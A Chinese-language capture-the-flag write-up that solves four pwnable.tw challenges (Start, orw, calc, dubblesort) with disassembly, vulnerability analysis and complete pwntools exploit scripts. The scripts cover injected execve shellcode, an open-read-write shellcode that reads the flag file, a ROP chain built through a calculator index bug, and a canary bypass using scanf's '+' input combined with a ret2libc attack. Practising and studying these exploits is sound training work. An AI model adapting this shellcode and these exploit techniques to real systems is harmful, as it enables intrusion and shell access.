pwnable.tw 题解一 Start orw calc doublesort

0x01 Start

checksec 的时候可以看到程序没有打开任何的安全保护措施,然后查看IDA下的汇编代码,可以看出,从栈上打印字符串实际上是操作的ecx,所以我们首先send的payload先把当前esp的地址leak出来(此时保存的是指向ret位置的地址),然后再次发送的payload中包含了20个字符a填充缓冲区,刚才leak出的地址,shellcode即可得到shell。

.text:08048060                 public _start
.text:08048060 _start          proc near               ; DATA XREF: LOAD:08048018↑o
.text:08048060                 push    esp
.text:08048061                 push    offset _exit
.text:08048066                 xor     eax, eax
.text:08048068                 xor     ebx, ebx
.text:0804806A                 xor     ecx, ecx
.text:0804806C                 xor     edx, edx
.text:0804806E                 push    ':FTC'
.text:08048073                 push    ' eht'
.text:08048078                 push    ' tra'
.text:0804807D                 push    'ts s'
.text:08048082                 push    2774654Ch
.text:08048087                 mov     ecx, esp        ; addr
.text:08048089                 mov     dl, 14h         ; len    // 这里是之前push的字符串的长度
.text:0804808B                 mov     bl, 1           ; fd
.text:0804808D                 mov     al, 4
.text:0804808F                 int     80h             ; LINUX - sys_write
.text:08048091                 xor     ebx, ebx
.text:08048093                 mov     dl, 3Ch
.text:08048095                 mov     al, 3
.text:08048097                 int     80h             ; LINUX -
.text:08048099                 add     esp, 14h       //  这里是恢复esp
.text:0804809C                 retn                   // 恢复后 pop eip, 执行offset _exit退出
.text:0804809C _start          endp ; sp-analysis failed

解题脚本:

from pwn import *
p = remote("chall.pwnable.tw",10000)
p.recvuntil(":")
ret = 0x08048087
payload = 'a' * 20 + p32(ret)
p.send(payload)
leak = p.recv(4)
leak = u32(leak)
shellcode = '\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
pay2 = 'a'*20 + p32(leak+20)  + shellcode
p.send(pay2)
p.interactive()

0x02 orw

根据hint查看linux系统调用:主要还是对汇编语言能力的考察,

"""
                eax                     ebx                             ecx
3   sys_read    0x03    unsigned int fd char __user *buf            size_t count
4   sys_write   0x04    unsigned int fd const char __user *buf      size_t count
5   sys_open    0x05    const char __user *filename int flags       int mode
"""


from pwn import *

s = remote('chall.pwnable.tw',10001)

shellcode = ''

shellcode += asm('xor ecx,ecx;mov eax,0x5; push ecx;push 0x67616c66; push 0x2f77726f; push 0x2f656d6f; push 0x682f2f2f; mov ebx,esp;xor edx,edx;int 0x80;')

shellcode += asm('mov eax,0x3;mov ecx,ebx;mov ebx,0x3;mov dl,0x30;int 0x80;')

shellcode += asm('mov eax,0x4;mov bl,0x1;int 0x80;')

def pwn():

    recv = s.recvuntil(':')

    print recv

    s.sendline(shellcode)

    flag = s.recv()
    print flag

pwn()

-【linux 系统调用】http://syscalls.kernelgrok.com/

0x03 calc

以下内容整理主要摘自http://www.freebuf.com/articles/others-articles/132283.html

首先大概运行了下程序,是一个类似于计算器的功能,然后IDA-F5查看

主要函数calc

unsigned int calc()
{
  int ini_pool; // [esp+18h] [ebp-5A0h]
  int v2[100]; // [esp+1Ch] [ebp-59Ch]
  char expr_str; // [esp+1ACh] [ebp-40Ch]
  unsigned int v4; // [esp+5ACh] [ebp-Ch]

  v4 = __readgsdword(0x14u);
  while ( 1 )
  {
    bzero(&expr_str, 0x400u);        //为用户输入的字符串分配空间
    if ( !get_expr(&expr_str, 1024) )
      break;
    init_pool(&ini_pool);            // 后续分析中可以看出来ini_pool存储的是操作数和最终结果
    if ( parse_expr((int)&expr_str, &ini_pool) )
    {
      printf((const char *)&unk_80BF804, v2[ini_pool - 1]);   //输出最终结果
      fflush(stdout);
    }
  }
  return __readgsdword(0x14u) ^ v4;
}

//打印结果相关的代码
 
.text:080493F6                 mov     eax, [ebp+ini_pool]
.text:080493FC                 sub     eax, 1
.text:080493FF                 mov     eax, [ebp+eax*4+var_59C]  //ebp+var_5A0的位置为initpool[0],ebp+var_59C的位置为initpool[1] 即 initpool[1+initpool[0]-1]=initpool[initpool[0]]
.text:08049406                 mov     [esp+4], eax
.text:0804940A                 mov     dword ptr [esp], offset unk_80BF804
.text:08049411                 call    printf

parse_expr函数


  v11 = __readgsdword(0x14u);
  cur_expr = expr;
  v7 = 0;
  bzero(operator, 0x64u);
  for ( i = 0; ; ++i )
  { 
    if ( (unsigned int)(*(char *)(i + expr) - 48) > 9 )// 如果是操作符进入
    {
      v2 = i + expr - cur_expr;
      s1 = (char *)malloc(v2 + 1);
      memcpy(s1, cur_expr, v2);
      s1[v2] = 0;
      if ( !strcmp(s1, "0") )                   // 最左不是为0
      {
        puts("prevent division by zero");
        fflush(stdout);
        return 0;
      }
      num_left = atoi(s1);                      // 转换为int型
      if ( num_left > 0 )
      {
        count = (*initpool)++;
        initpool[count + 1] = num_left;
      }
      if ( *(_BYTE *)(i + expr) && (unsigned int)(*(char *)(i + 1 + expr) - 48) > 9 )
      {
        puts("expression error!");
        fflush(stdout);
        return 0;
      }
      cur_expr = i + 1 + expr;
      if ( operator[v7] )                       // 判断上一操作符是不是为0,如果为0,说明当前是第一个操作符,继续取数字运算,若不是,则对着以前的表达式进行计算
      {
        switch ( *(char *)(i + expr) )
        {
          case 37:
          case 42:
          case 47:
            if ( operator[v7] != 43 && operator[v7] != 45 )
            {
              eval(initpool, operator[v7]);
              operator[v7] = *(_BYTE *)(i + expr);
            }
            else
            {
              operator[++v7] = *(_BYTE *)(i + expr);
            }
            break;
          case 43:
          case 45:
            eval(initpool, operator[v7]);
            operator[v7] = *(_BYTE *)(i + expr);
            break;
          default:
            eval(initpool, operator[v7--]);
            break;
        }
      }
      else                                      // 如果为数字的话就+1,什么都不做。
      {
        operator[v7] = *(_BYTE *)(i + expr);
      }
      if ( !*(_BYTE *)(i + expr) )
        break;
    }
  }
  while ( v7 >= 0 )
    eval(initpool, operator[v7--]);
  return 1;
}




_DWORD *__cdecl eval(_DWORD *initpool, char operator)
{
  _DWORD *result; // eax

  if ( operator == 43 )
  {
    initpool[*initpool - 1] += initpool[*initpool];            // 将结果存储在initpool[initpool[0]-1],
  }                                                            // initpool 有三个元素,操作数数量,两个操作数
  else if ( operator > 43 )
  {
    if ( operator == 45 )
    {
      initpool[*initpool - 1] -= initpool[*initpool];
    }
    else if ( operator == 47 )
    {
      initpool[*initpool - 1] /= initpool[*initpool];
    }
  }
  else if ( operator == 42 )
  {
    initpool[*initpool - 1] *= initpool[*initpool];
  }
  result = initpool;
  --*initpool;
  return result;
}
漏洞分析

在上面的分析中我们可以知道,虽然eval函数看似每次都将运算结果放在initpool[1]中,但是实际上这个下标“1”是由initpool[0]-1得到的。由于正常的运算中initpool[0]总是等于2,因此我们总能将运算结果放到initpool[1]中,并最终将initpool[1]的值作为整个运算表达式的运算结果返回给用户。可是实际上,我们返回的是initpool[initpool[0]]的值。若我们能改变initpool[0]的值为任意值,那么我们就有可能泄露栈上的某个位置的值,甚至能通过运算改变该位置的值。

我们知道,initpool[0]的初始值为0,并且initpool[0]在此时被修改

      if ( num_left > 0 )
      {
        count = (*initpool)++;
        initpool[count + 1] = num_left;
      }

如果我们构造畸形表达式+300的话,initpool[initpool[0] - 1] = initpool[0] + initpool[1] = 301,最后initpool[0]自减1,因此,输出给用户的最终值为initpool[300]。这样就泄露了栈上ebp-5A0h+300=ebp-1140位置里的值。 +300+1 实际上计算的是initpool[301 - 1] = initpool[301 - 1] + 1

由于ebp-5A0h到ebp-0Ch这段栈空间都被initpool和s覆盖,每次循环都会被清0,因此我们找到ebp-0Ch这个4字节栈单元来测试。该空间为initpool[357]

int ini_pool; // [esp+18h] [ebp-5A0h]
int v2[100]; // [esp+1Ch] [ebp-59Ch]
char expr_str; // [esp+1ACh] [ebp-40Ch]
unsigned int v4; // [esp+5ACh] [ebp-Ch]


 ret_address
【 old_ebp 】<-- new_ebp                initpool[360] 高地址
               ebp-4
               ebp-8
v4             ebp-c   cannary
expr_str       ebp-40c
v2[100];       ebp-59c
ini_pool       ebp-5a0  (1440字节) 
0x400
esp            new_ebp - 5b8                          低地址  

对照下面的栈布局的图:
pwnable.tw 题解一 Start orw calc doublesort_第1张图片
image

可以看到,在输入+361后,程序返回134517913,即0×08049499。查看IDA,在main函数中,调用calc函数的下一条汇编指令为mov指令,它的地址即为0×08049499

漏洞利用

思路: 通过不断地输入畸形运算表达式来修改栈空间内函数返回地址及其之后的值,最终实现栈溢出攻击。

由于目标系统开启了NX,无法直接在栈上执行shellcode,而且使用objdump命令可知,该程序是完全静态链接的(下图),因此我们首先考虑的就是使用ROP技术来想办法调用execve(“/bin/sh”)来启动Linux shell,再通过cat命令查看flag的内容。

若想调用execve(“/bin/sh”),则需要构造一个ROP链来创建场景。我个人一直认为ROP是安全领域里的一项十分有艺术性的技术,它的思路很巧妙,也能激发攻守双方的头脑风暴。

我们知道,在制作shellcode时,通常使用int 80h来调用某个系统函数,而int 80h这条指令,往往是通过eax寄存器的值来判断调用哪个系统函数,且通过ebx、ecx、edx等寄存器来存放要调用的系统函数的参数。

在本题的场景中,execve函数的系统调用号为11,也就是说,我们在调用int 80h之前,需要将eax的值置为11。同时,execve函数共有三个参数,其中在这里只有第一个参数“/bin/sh”有用,而另外两个参数可为0。这样一来,我们就需要构建ROP链,将寄存器场景变为:

eax=11

ebx=“/bin/sh”字符串的地址

ecx=0

edx=0

ROP链是由若干条ROP“小部件”组成的,其中每个“小部件”都是一个以“ret”指令结尾的汇编指令片段,而这些ROP链的位置都不在栈上,而在程序的可执行的段内(如.text段)。比如“pop eax; ret”就是一个“小部件”,它的功能是将当前栈顶的数值弹出并放入eax中,并返回到栈顶内的值指向的地址去继续执行程序。只要我们将每个“小部件”的地址从函数返回值处开始依次存入栈中,程序就会依次跳到每个“小部件”上执行相应的代码,此时栈空间内的每个单元的数据就相当于程序的指明灯,告诉程序该去哪里执行,而不会在栈上执行任何代码。

我使用ROPgadget这个工具来生成ROP小部件,从而构建ROP链。
命令为./ROPgadget.py --binary ./calc > ~/ropgadget,
为了将eax的值置为11,我找到了“pop eax; ret”(地址为0x0805c34b)这个小部件,通过将栈上值11弹出并存入eax来修改eax的值;而后,为了将edx置为0,我找到了“pop edx; ret”(地址为0x080701aa)这个小部件,原理相同;最后,我通过“pop ecx; pop ebx; ret”(地址为0x080701d1)这个小部件将ecx和ebx的值置为0和“/bin/sh”字符串的地址。我们要构建的ROP链在栈上的情况如下:

pwnable.tw 题解一 Start orw calc doublesort_第2张图片
image

分析清楚了要构造的场景,剩下的就靠我们通过输入的畸形表达式来计算并设置initpool的361~370这十个栈单元。对于每一个栈单元,我们首先获取其内的值,而后计算该值与目标值的差,最后相减即可。比如我们要将362位置上的值变为11,首先输入“+362”得到当前362栈单元的值135184896,然后计算135184896-11=135184885,最后输入“+362-135184885”将栈内值修改为11。

其中唯一比较麻烦的是“/bin/sh”字符串地址的获取。它是一个栈上的地址,而我们目前暂时无法知道栈的基址。但是别忘了,在当前栈内的某个空间保存这一个栈的地址,那就是当前ebp所指向栈的基址内的值,这个值是main函数的ebp值,也就是main函数的栈基址。那么我们只要知道main函数基址与calc函数基址的关系就可通过main函数基址计算出“/bin/sh”字符串的地址。由下图可以看出,main函数的栈空间大小由main函数的基址决定,大小值为:

main_stack_size=main_ebp&0xFFFFFF0 - 16

这是main函数的栈分配的情况:

.text:08049452                 push    ebp
.text:08049453                 mov     ebp, esp
.text:08049455                 and     esp, 0FFFFFFF0h
.text:08049458                 sub     esp, 10h

目前可知“/bin/sh”字符串的地址(369)与返回地址(361)之间的距离为8,而main函数栈基址与返回值之间的距离为:

d_mainebp_ret=main_stack_size/4 + 1

也就推得“/bin/sh”字符串的地址为:

addr_binsh=main_ebp+(8-d_mainebp_ret)*4

from pwn import *

HOST = 'chall.pwnable.tw'

PORT = 10100

vals=[0x0805c34b,11,0x080701aa,0,0x080701d1,0,1,0x08049a21,0x6e69622f,0x0068732f]

con = remote(HOST,PORT)

print con.recv()

start=361

for i in range(0,6):

    con.send('+'+str(start+i)+'\n')

    val=int(con.recv(1024))

    diff=vals[i]-val

    if diff<0:

        con.send('+'+str(start+i)+str(diff)+'\n')

    else:

        con.send('+'+str(start+i)+'+'+str(diff)+'\n')

    resl=int(con.recv(1024))

    print (str(start+i)+': '+'%s'%hex(resl))


# 布局栈361 -367上的gadget和数据


""" 
mebp+0×100000000是因为recv到的mebp是栈上的地址,被识别为负数,所以加上0×100000000修正,它表示main函数的基地址。
(mebp+0×100000000)&0xFFFFFFF0-16这个运算得到的是main函数的esp,
因此main函数的栈空间大小为mstacksize=mebp+0×100000000-((mebp+0×100000000) & 0xFFFFFFF0-16)。
所以main函数栈基址与返回地址(361)之间的距离为d_mainebp_ret=main_stack_size/4 + 1
"""

con.send('+360'+'\n')

mebp=int(con.recv(1024))

mstacksize=mebp+0x100000000-((mebp+0x100000000) & 0xFFFFFFF0-16)

bin_sh_addr=mebp+(8-(24/4+1))*4

con.send('+367'+'\n')

val_367=int(con.recv(1024))

diff_367=bin_sh_addr-val_367

con.send('+367'+str(diff_367)+'\n')

resl=int(con.recv(1024))+0x100000000

print ('367: '+'%s'%hex(resl))

for i in range(7,10):

    con.send('+'+str(start+i)+'\n')

    val=int(con.recv(1024))

    diff=vals[i]-val

    if diff<0:

        con.send('+'+str(start+i)+str(diff)+'\n')

    else:

        con.send('+'+str(start+i)+'+'+str(diff)+'\n')

    resl=int(con.recv(1024))

    print (str(start+i)+': '+'%s'%hex(resl))

con.send('Give Me Shell!\n')

con.interactive("\nshell# ")

con.close()

-【参考链接】http://www.freebuf.com/articles/others-articles/132283.html

0x04 doublesort

以下内容主要整理摘自http://www.freebuf.com/articles/others-articles/134271.html

IDA-F5查看反汇编:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int count; // eax
  int *cur_num_addr; // edi
  unsigned int v5; // esi
  int v6; // ecx
  unsigned int v7; // esi
  int v8; // ST08_4
  int result; // eax
  int v10; // edx
  unsigned int v11; // et1
  unsigned int sum; // [esp+18h] [ebp-74h]
  int nums; // [esp+1Ch] [ebp-70h]
  char name; // [esp+3Ch] [ebp-50h]
  unsigned int v15; // [esp+7Ch] [ebp-10h]

  v15 = __readgsdword(0x14u);
  time();
  __printf_chk(1, "What your name :");
  read(0, &name, 0x40u);
  __printf_chk(1, "Hello %s,How many numbers do you what to sort :");
  __isoc99_scanf("%u", &sum);
  count = sum;
  if ( sum )
  {
    cur_num_addr = &nums;
    v5 = 0;
    do
    {
      __printf_chk(1, "Enter the %d number : ");
      fflush(stdout);
      __isoc99_scanf("%u", cur_num_addr);
      ++v5;
      count = sum;
      ++cur_num_addr;
    }
    while ( sum > v5 );
  }
  sort((unsigned int *)&nums, count);
  puts("Result :");
  if ( sum )
  {
    v7 = 0;
    do
    {
      v8 = *(&nums + v7);
      __printf_chk(1, "%u ");
      ++v7;
    }
    while ( sum > v7 );
  }
  result = 0;
  v11 = __readgsdword(0x14u);
  v10 = v11 ^ v15;
  if ( v11 != v15 )
    sub_BA0(v6, v10);
  return result;
}

checksec一下,真是一个质量好的产品:(

nevv@nevv:~/Desktop$ checksec dubblesort 
[*] '/home/nevv/Desktop/dubblesort'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled

仔细观察我们发现在输入数组的时候并没有判断当前数组的长度,这就可能导致溢出,并且在排序后的数组和之前的数组共用栈空间。

  高地址  ebp
  cannary esp+7ch 
  name    esp+3ch
  nums    esp+1ch
  低地址  esp

由于溢出的话会覆盖掉cannary的值,所以我们要绕过cannary的区域,注意到scanf函数结束后的格式化字符串是无符号数,所以当遇到不是这个格式的数的时候scanf会认为输入非法直接退出,而会继续进行循环。


pwnable.tw 题解一 Start orw calc doublesort_第3张图片
image

当在第五个数的 位置输入“f”这个非法字符时,之后的所有输入自动结束,并且从该位置之后的数据被泄露出来。这个原因我思索了好久,最后发现,这是因为scanf函数接收的数据格式为无符号整型(%u),而程序在检测到stdin中的字符是“f”时,将其视为非法输入,于是本次的scanf函数执行失败,原栈上对应位置的数据也没有被改变。在下一次循环执行到scanf时,程序又到stdin中取数据,这时,上次输入的“f”由于非法并没有被取走,它还在stdin中存在着,因此scanf的输入又失败了……至此往后的每次循环,scanf都去取stdin中的这个“f”,然后每次都失败,于是从第五个位置往后的所有栈上数据都不会被修改,且在程序最后被泄露出来。

“+”和“-”可以达到此目的,因为这两个符号可以定义正数和负数,所以会被识别为合法字符。在scanf接收无符号整型的数据时,只输入“+”或“-”不会进行存储操作,比如输入“+4”会被识别为4,而“-4”则会将其转为正数输出(%u的原因)。测试如下图:

#include
int main(){
    unsigned int a=55;
    scanf("%u",&a);
    printf("a is: %u\n", a);
    return 0;
}

nevv@nevv:~/Desktop$ ./a.out 
3
a is: 3
nevv@nevv:~/Desktop$ ./a.out 
+
a is: 55
nevv@nevv:~/Desktop$ 

由上图可以看出来+和-可以跳过scanf的%u检查并不改变a的值。

至此,我们可以解决canary绕过的问题了。canary距离待输入数据的起始位置为(esp+0x7c)-(esp+0x1c)+4=100字节,100/4=25个栈空间。也就是说,当我们要输入第25个数据时输入“+”或者“-”就可以保持canary不变,从而绕过函数最后的canary检查,实现栈上任意位置的写入。

libc地址的泄露

那么我们要往栈上写入什么数据呢?前文提到,题目给了libc库文件libc.so.6,这就暗示我们可以通过ret2libc的方式来进行栈溢出。该方法的利用方式是,修改栈上函数返回值地址,将其变为libc库中某函数的地址(如system函数),从而达到获取系统shell等目的。

我们可以修改栈上的main函数返回值为libc中的system函数地址,并在参数对应的位置写入“/bin/sh”字符串的地址,从而使程序跳转到system函数,并执行shell。所期望的溢出后的栈空间如下图:

pwnable.tw 题解一 Start orw calc doublesort_第4张图片
image
低地址
被调用函数的参数
被调用函数的返回地址
调用函数的ebp
被调用函数的局部变量
高地址
pwnable.tw 题解一 Start orw calc doublesort_第5张图片
image

从图中可以看出,我们要溢出的数据总共35个栈空间,其中第25个栈空间的canary通过输入“+”保持其值不变;第33个栈空间写入system函数的地址;第34个栈空间是system函数的返回地址,由于我们无需考虑system返回后的工作,次数据可任意填写;第35个栈空间需写入“/bin/sh”字符串的地址。现在的主要问题是,如何获取system函数和“/bin/sh”字符串的地址?

首先我们通过gdb调试发现,在ebp+4(main函数返回地址)的位置存放了一个libc中的函数地址__libc_start_main(main函数执行完后返回至该函数),可通过多次执行程序泄露该位置数据来判断libc地址是否随机,即目标系统是否开启ASLR。由上图可知,ebp+4的位置是从nums[0]开始的第33个栈空间,因此我们通过多次输入来泄露该位置的值,然后发现目标系统开启了ASLR,

我们知道,在ASLR开启的情况下,堆栈地址和libc的地址都是随机的,那么我们如何获取libc中函数的地址呢?通过在输入数字时输入“+”来泄露栈上数据的方法开上去可行,但每次泄露后程序就结束了,下次再执行程序时libc的地址又改变了,无法通过这种泄露来获取当前进程空间的libc地址并进行利用。因此我们要通过其它的手段来在程序执行的过程中泄露libc地址。

我们发现,程序在用printf函数输出欢迎字符串“Hello….”的时候格式为%s,大家知道,printf在做格式化输出字符串时,是以0×00(null)为结尾来判断字符串结束,可是在我们输入用户名name的时候,程序是用read来接收的,它并不会自动为我们输入的字符串补0。当我们输入“mike”这4个字符并敲回车后,真正传给程序的是“mike\n”这样一个5字节的字符串。程序在接收这个字符串后将这五个字符保存在栈上的esp+0x3c的位置,但这五个字符之后是否跟着0×00就不得而知了。根据上面的输出我们大致可以猜到,“Hello mike”之后的换行应该是我们输入的回车(“\n”)导致的,而下一行一开始的几个不可见字符,应该是栈上紧跟着换行符后面的数据。也就是说,我们通过输入,无意中泄露了栈上的数据!

这是一个好消息,因为我们可能可以在覆写栈上数据之前泄露出libc的地址。那么name之后的64字节地址空间中是否含有libc中的地址呢?

通过gdb调试,我们发现在name后的第7个栈单元保存着一个疑似libc中的地址0xf7fb1000:

那么此时的libc基址是多少呢?该地址又是否是libc上的地址呢?我首先通过 info sharedlibrary命令来获取libc的地址:

image

图中可以看出,libc.so.6的地址空间为0xf7e16750到0xf7f4204d,好像并不包括我们上面可泄露的地址0xf7fb1000。我又用vmmap命令(info proc mappings命令亦可)查看libc在内存中的加载情况:
pwnable.tw 题解一 Start orw calc doublesort_第6张图片
image

info sharedlibrary显示的地址范围为libc-2.23.so文件的.text段在内存中的地址范围,而vmmap显示的为libc-2.23.so文件加载到内存中的全部地址空间

pwnable.tw 题解一 Start orw calc doublesort_第7张图片
image

首先通过hexdump命令验证了0xf7dff000确实为libc-2.23.so加载在内存中的起始地址(可清楚地看到ELF头部标志)。之后通过readelf -S命令查看libc-2.23.so文件的.text段偏移(0×17750),将其加上起始地址0xf7dff000即为0xf7e16750。验证成功。这个小实验和本题关系不大,但是能告诉大家如何在gdb调试时更加清楚地查看libc基址。

回到问题开始,0xf7fb1000这个地址确实在libc加载在内存中的地址范围内(0xf7dff000到0xf7fb2000),它的偏移是0xf7fb1000-0xf7dff000=0x1b2000,那么我们就可以泄露这个地址并减去它相对于libc基地址的偏移来动态获取libc的基址。可是事情并没有这么简单,在我写好exp后,怎么执行都无法获取shell,最后发现是这个偏移出了问题。因为我自己的libc库和目标系统的libc库不一样,偏移也就不同!那么真正的偏移是多少呢?

我们再用readelf命令来看看0x1b2000这个偏移在我的libc中的位置:


image

从上图可以看出,该偏移是.got.plt节相对于libc基址的偏移,那么我们再来看看题目中给的目标系统的libc文件的节情况:


pwnable.tw 题解一 Start orw calc doublesort_第8张图片
image

可以看出,.got.plt节的偏移为0x1b0000,并不等于我们之前得到的0x1b2000。而system函数的偏移和“/bin/sh”字符串在libc中的偏移我们可以通过readelf -s命令和二进制编辑器HxD得到:
pwnable.tw 题解一 Start orw calc doublesort_第9张图片
image

这样一来,我们就可以得到libc基址、system函数地址以及“/bin/sh”字符串的地址:

  • addr_libc=addr_leak-0x1b0000

  • addr_system=addr_libc+0x3a940

  • addr_shell=addr_libc+0x158e8b

漏洞利用

有了以上的分析,漏洞利用的实现就简单多了。

首先我们要泄露name后第6个栈单元上的数据(.got.plt节地址)。由分析可知,该单元距离name的初始地址为24字节,因此我们至少要发送24字节的冗余数据。经测试后发现,该栈单元的数据的第一个字节(即.got.plt节地址的最后一个字节,因为小端序)总为0×00,因此若要泄露该数据,需要多发送一个字节覆盖掉0×00,否则printf会将0×00之后的数据截断。可以发送’A'*24+’\n’来泄露出该数据的后三个字节,减去回车符的0x0a即可。

之后就可以根据泄露的地址推算出system函数和“/bin/sh”字符串在内存中的地址。需要注意的是,程序在执行过程中会将所有数据排序,因此我们需要在输入数据时注意数据的大小,这并不难,具体做法是将canary之前的数据都置0,canary和返回地址之间(包括返回地址)的数据都写入system函数的地址(canary随机数大部分时间都小于system地址,除非人品不好),而最后两个栈单元都写入“/bin/sh”字符串的地址即可。配置好的栈结构如下:

pwnable.tw 题解一 Start orw calc doublesort_第10张图片
image

在通过上述方式获取system函数地址以及“/bin/sh”的地址后,我们就可以构造shellcode了。这里需要注意,我们输入的数据会在排序时,按大小顺序在内存中打乱。为此,在构造数据时,我们可以将前24个数据输入0,第25个数据输入“+”号保持其为canary的值,第26至第34个数据置为system函数的地址,第35个数据置为“/bin/sh”的地址,这样输入的数据正好都是按大小顺序排列的,所以在之后的排序中也不会被打乱顺序。

EXP:
# coding:utf-8
from pwn import *

HOST = "chall.pwnable.tw"

PORT = 10101

system_offset = 0x3a940
bin_sh_offset = 0x158e8b

con = remote(HOST,PORT)

con.recvuntil("What your name :")
con.sendline('A'*24)
rec = u32(con.recvuntil(',')[30:34])   # 打印的时候会有‘hello ’,所以要加上这部分的长度6,24+6=30
libc_base = rec -0xa - 0x1b0000   # 0x1b0000这个偏移是在本地调试过程中算出来的 
system_addr = libc_base + system_offset
print "system_addr:   ",system_addr
bin_sh_addr = libc_base + bin_sh_offset
print "bin_sh_addr:   ",bin_sh_addr
con.sendline('35')
con.recv(1024)

for i in range(24):
    con.sendline('0')
    con.recv(1024)
con.sendline('+')
con.recv(1024)
for i in range(25,34):
    con.sendline(str(system_addr))
    con.recv(1024)
con.sendline(str(bin_sh_addr))
con.recv()
con.interactive("nevv#")
con.close()


总结

程序如果能够泄露栈上的信息的话,有一些重要数据获取回来对pwn有关键对的帮助作用。

  1. libc_start_main的返回地址(容易忘记,而且可以省一步libc的泄露)
  2. cookies开启了cannary的程序来说很有用
  3. 程序基址对于开启了PIE的程序来说很有用
  4. scanf函数在%u中特殊字符的处理

【参考链接】:

  • http://www.freebuf.com/articles/others-articles/134271.html
  • https://zhuanlan.zhihu.com/p/25816426?utm_medium=social

你可能感兴趣的:(pwnable.tw 题解一 Start orw calc doublesort)